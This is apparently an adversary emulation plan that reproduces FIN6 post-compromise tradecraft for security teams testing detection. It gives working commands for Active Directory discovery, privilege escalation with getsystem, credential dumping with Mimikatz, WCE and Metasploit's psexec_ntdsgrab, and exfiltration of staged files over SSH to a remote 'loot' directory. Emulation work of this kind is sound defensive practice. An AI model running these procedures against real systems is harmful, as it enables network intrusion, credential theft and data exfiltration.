Preface

FIN6 operations can be interpreted as having two phases. Each phase has several objectives. The objectives are presented linearly as each objective enables subsequent objectives and phases. That said, each organization can tailor this emulation to their individual use case, priorities, and available resources. The assessing team can begin at any phase or objective but should do so understanding that each objective enables the succeeding objectives.

Phase 1 is the pursuit of enabling objectives. Phase 2, the operational effects phase of the emulation plan, is left to the discretion of the organization. Three use cases are presented along with information relevant to emulation. This emulation plan recommends procedures using the tools reported to have been used by FIN6. "Alternative Procedures" are presented to address intelligence gaps and suggest procedures that are intended to be operationally representative.

Phase 1 Overview

- Emulating FIN6 using tools such as Metasploit, Mimikatz, and PsExec.

- Phase 1 begins after a host is compromised, a payload is executed, and command and control is established.
- "Seek-and-deploy" style operation; the objective of Phase 1 is to compromise, discover, and escalate, in order to deploy an operational capability during Phase 2.

Contents

Step 1 - FIN6 Initial Access

As FIN6 appears to be monetarily motivated, they take a pragmatic approach toward delivery. FIN6 has employed social engineering ala direct messages on LinkedIn, spear-phished, compromised e-commerce sites, and it has been suggested that they have negotiated or even purchased access to previously compromised networks.[4] [5] [7] [8] [11] It is therefore, recommended for the purpose of threat emulation, that assessors approach delivery in the same manner.

For teams that intend to emulate the threat actor for every stage of the kill-chain and assess their organization's ability to protect, as well as detect and respond it may be prudent to approach this step from a red team perspective. Conduct reconnaissance and choose a method of delivery that has the highest likelihood of successful delivery and exploitation. For teams that are primarily interested in assessing their organization's ability to detect and respond to FIN6 activity, it may not be worth the investment of resources. For these assessors, it is recommended that you assume breach using the C2 framework of your choice. FIN6 has made use of CobaltStrike and Metasploit. Koadic C2 may be a good option to emulate the more_eggs implant.

Step 2 - FIN6 Discovery

After gaining access to the target network, FIN6 enumerates the network and Active Directory (AD) environment.[4] [5] The second objective is to conduct internal reconnaissance. The intent of Discovery is to

identify opportunities for escalation, lateral movement, systems for staging, and systems of interest for the effects phase of the emulation. FIN6 is believed to have used ADFind for this purpose on at least one occasion. For the purposes of emulation, we suggest ADFind, as recent reporting states FIN6 has been known to use it.[4] However, if ADFind is unavailable, we have suggested alternative methods which are native to the Windows environment.

Procedures

2.1 - Account Discovery: Domain Account (T1087.002)

Find all person objects and output the results to a text file.

FIN6 Procedure

```
adfind.exe -f (objectcategory=person) > ad_users.txt
```

Alternative Procedure (Command Prompt)

```
net user /domain > ad_users.txt
```

2.2 - Remote System Discovery (T1018)

Identify all computer objects and output the results to a text file.

FIN6 Procedure

```
adfind.exe -f (objectcategory=computer) > ad_computers.txt
```

Alternative Procedure (Command Prompt)

```
net group "Domain Computers" /domain > ad_computers.txt
```

2.3 - Domain Trust Discovery (T1482)

Enumerate all Organizational Units (OUs) in the domain of the user running the command and output the results to a text file.

FIN6 Procedure

```
adfind.exe -f (objectcategory=organizationalUnit) > ad_ous.txt
```

Alternative Procedure (PowerShell)

```
Get-ADOrganizationalUnit -Filter 'Name -like "*"' | Format-Table Name, Distinguish
```

2.4 - Domain Trust Discovery (T1482)

Performs a full forest search and dumps trust objects to a text file.

FIN6 Procedure

```
adfind.exe -gcb -sc trustdmp > ad_trustdmp.txt
```

Alternative Procedure (Command Prompt)

```
nltest /domain_trusts > ad_trustdmp.txt
```

2.5 - System Network Configuration Discovery (T1016)

List subnets and output the results to a text file.

FIN6 Procedure

```
adfind.exe -subnets -f (objectcategory=subnet) > ad_subnets.txt
```

Alternative Procedure (PowerShell)

```
Get-ADReplicationSubnet -Filter *
```

2.6 - Permission Groups Discovery: Domain Groups (T1069.002)

List groups and output the results to a text file.

FIN6 Procedure

```
adfind.exe -f (objectcategory=group) > ad_group.txt
```

Alternative Procedure (PowerShell)

```
net group /domain > ad_group.txt
```

Step 3 - FIN6 Privilege Escalation

The third objective is to escalate privileges. Again, in this regard, FIN6 has taken a pragmatic approach. Reporting suggests the group has purchased credentials, made heavy use of credential access, and used the "getsystem" modules included in publicly available penetration testing frameworks.[4] [5] [7] FIN6 has been reported to further compromise the Windows domain by copying and exfiltrating the Active Directory database (NTDS.dit) file.[3] The information therein enables the group to move freely throughout the domain and pursue their operational objectives.

Privilege escalation can be challenging, it is recommended that you choose your initial target for "compromise" carefully. In the event that the assessing team is unable to escalate privileges, this event can be "white-carded" with the granting of administrative rights to the compromised account. This white-carded event could enable the assessing team to escalate via credential access as the procedures described herein require elevated privileges.

Procedures

3.1 - Access Token Manipulation (T1134)

On at least one occasion, FIN6 was reported to have escalated privileges to SYSTEM by using the named-pipe impersonation technique featured in the Metasploit framework.[4] The command below assumes a meterpreter session and specifies the use of technique 1, a named-pipe impersonation.

FIN6 Procedure

```
meterpreter> getsystem -t 1
```

Alternative Procedure

```
Import-Module PowerSploit
```

```
Get-System -ServiceName '#{ }' -PipeName '#{ }'
```

```
Example: Get-System -ServiceName 'mstdc' -PipeName 'mstdc'
```

3.2 - OS Credential Dumping: LSASS Memory (T1003.001)

Meterpreter/Mimikatz

Reporting indicates that FIN6 has used Mimikatz on several occasions.[7][8][9] While there are many variations of the tool, FIN6 has to date, favored the use of Metasploit and CobaltStrike for post-exploitation.[4][5][7][8][9] As such, the recommended procedure specifies using Mimikatz from a Meterpreter session. This of course, requires a Meterpreter session and elevated privileges. The commands below load Mimikatz into memory and attempt to retrieve wdigest credentials.

FIN6 Procedure

```
meterpreter> load kiwi
meterpreter> creds_all
```

3.3 - OS Credential Dumping: NTDS (T1003.003)

Metasploit ntdsgrab

Another technique reportedly used by FIN6 to achieve credential access and escalate privileges is to copy and exfiltrate the Active Directory NTDS.dit file.[3][5] Reporting indicates that on at least one occasion, the group is believed to have used Metasploit's psexec_ntdsgrab module. This module authenticates to the domain controller, creates a volume shadow copy of the system drive, and downloads copies of the NTDS.dit and SYSTEM hive. Although this technique is herein classified as a privilege escalation technique, the group may execute this module during discovery and exfiltrate the resultant files with the rest of their discovery results.[5]

Hashes must be retrieved from the NTDS.dit file. There are a number of openly available tools that are capable of parsing this file, DSInternals is one such tool. As this step is done locally and offline, the choice is left to the analyst.

FIN6 Procedure

```
msf> use auxiliary/admin/smb/psexec_ntdsgrab
```

3.4 - OS Credential Dumping: LSASS Memory (T1003.001)

Windows Credential Editor

In addition to Mimikatz and psexec_ntdsgrab, FIN6 is reported to use WCE to access credentials.[3] [5] The command below dumps cleartext passwords stored by the digest authentication package.

FIN6 Procedure

```
wce.exe -w
```

Step 4 - FIN6 Collection and Exfiltration

After conducting internal discovery, FIN6 has been reported to stage the resulting files, compress those files, and typically exfiltrate using SSH. [3] [4] [5]

Procedures

4.1 - Archive Collected Data: Archive via Utility (T1560.001)

FIN6 uses its renamed version of 7zip (7.exe), on the designated staging system, to compress the text files resulting from internal discovery.[4] [5] This command adds the ad_* text files to the ad.7z archive and performs a level 3 compression.

FIN6 Procedure

```
7.exe a -mx3 ad.7z ad_*
```

4.2 - Exfiltration Over Web Service: Exfiltration to Cloud Storage (T1567.002) [3] [5]

Initiate an interactive SSH session with a remote server. FIN6 exfiltrates the text files resultant from the Discovery Phase via SSH.

FIN6 Procedure

```
plink -ssh #{user}@#{server}
```

```
Example: C:\>plink -ssh root@192.168.101.1
```

Alternative Procedure

```
pscp -P {port} c:\windows\temp\ad_* root@192.168.101.1:/temp/loot
```

Additional Plan Resources